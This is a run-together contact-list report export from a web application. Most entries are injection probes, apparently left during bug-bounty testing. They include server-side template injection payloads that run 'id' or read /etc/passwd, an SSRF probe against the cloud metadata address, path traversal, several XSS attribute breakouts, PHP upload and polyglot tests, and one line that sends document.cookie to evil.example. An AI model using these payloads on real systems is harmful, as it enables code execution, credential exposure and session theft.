ContactList Contacts / General Report2026-05-13 22:31:36XwWfNEabXwWfNEabXwWfNEab555-666-0606testing@example.comTestingMr.3137 Laguna Streethttp://www.example.comXwWfNEabXwWfNEabXwWfNEab555-666-0606testing@example.comTestingMr.3137 Laguna Streethttp://www.example.comUploadV44Direct+256700000099v44_1776043335@test.comPicTest_1776043019V43Detect+256700000099pic43_1776043019@test.comSSRF_1776042794Test+256700000099ssrf_1776042794@test.comhttp://169.254.169.254/latest/meta-data/ProofV42_1776042752RCECheck+256700000099proof42_1776042752@test.comPolyglot_1776042323JpegPhp+256700000099polyglot_1776042323@test.comDirectUpload2_1776042323WithPhtml+256700000099direct2_1776042323@test.comDirectUpload_1776042323NoMetadata+256700000099direct_1776042323@test.com${T(java.lang.Runtime).getRuntime().exec("id")}SSTI_spel+256700000099ssti_spel_1776042006@test.comSSTI_erb+256700000099ssti_erb_1776042006@test.com#{7*7}SSTI_freemarker+256700000099ssti_freemarker_1776042006@test.com${7*7}SSTI_el_basic+256700000099ssti_el_basic_1776042006@test.com{php}echo "RCE";{/php}SSTI_smarty_php+256700000099ssti_smarty_php_1776042006@test.com{{7*7}}SSTI_twig_basic+256700000099ssti_twig_basic_1776042006@test.comMetaTest_1776042006empty tmp+256700000099meta_1776042006@test.comMetaTest_1776042006null byte+256700000099meta_1776042006@test.comMetaTest_1776042006traversal /etc/passw+256700000099meta_1776042006@test.comFileTest3_v39_1776041400ProofRCE+256700000099ft3_v39_1776041400@test.comRCETestshtmlBugBounty+256700000000testshtml@test.comRCETestincBugBounty+256700000000testinc@test.comRCETestphp7BugBounty+256700000000testphp7@test.comRCETestphpsBugBounty+256700000000testphps@test.comRCETestpharBugBounty+256700000000testphar@test.comRCETestphp5BugBounty+256700000000testphp5@test.comRCETestphpBugBounty+256700000000testphp@test.comRCETestphtmlBugBounty+256700000000testphtml@test.comTestXSSBugBounty+256700000000+256700000001test@test.comRealJPEG_jcsoyyImgTest0700000005jpeg_jcsoyy@test.comPolyglot_jcsoyyavatar.jpg0700000004poly_jcsoyy@test.comPolyglot_jcsoyyavatar.gif0700000004poly_jcsoyy@test.com"/>new Image().src="https://evil.example/byljas?c="+document.cookieCookieSteal_byljas0700000003steal_byljas@test.comUpload_gsmukgavatar_gsmukg0700000002upload_gsmukg@test.comUpload_gsmukgavatar_gsmukg0700000002upload_gsmukg@test.comUpload_gsmukgavatar_gsmukg0700000002upload_gsmukg@test.comUpload_gsmukgavatar_gsmukg0700000002upload_gsmukg@test.comUpload_gsmukgavatar_gsmukg0700000002upload_gsmukg@test.com" onfocus="alert(document.domain)" autofocus tabindex="1" x="clvwac_attr0700000001clvwac_attr@test.com" onerror="alert(1)" src="xVclvwac_40700000001clvwac_4@test.com"/>Vclvwac_30700000001clvwac_3@test.com" autofocus onfocus="alert(document.domain)" tabindex="1" x="Vclvwac_20700000001clvwac_2@test.com"/>document.write("clvwac_DOMXSS")Vclvwac_10700000001clvwac_1@test.comTestXSSProof256700111333proof@test.comTestXSSProof256700111333proof@test.comTestXSSProof256700111333proof@test.comTestXSSProof256700111333proof@test.comTestXSSProof256700111333proof@test.comTestXSSProof256700111333proof@test.com{self::getStreamVariable("file:///etc/passwd")}SSTI_stream-var{if system("id")}{/if}SSTI_if-system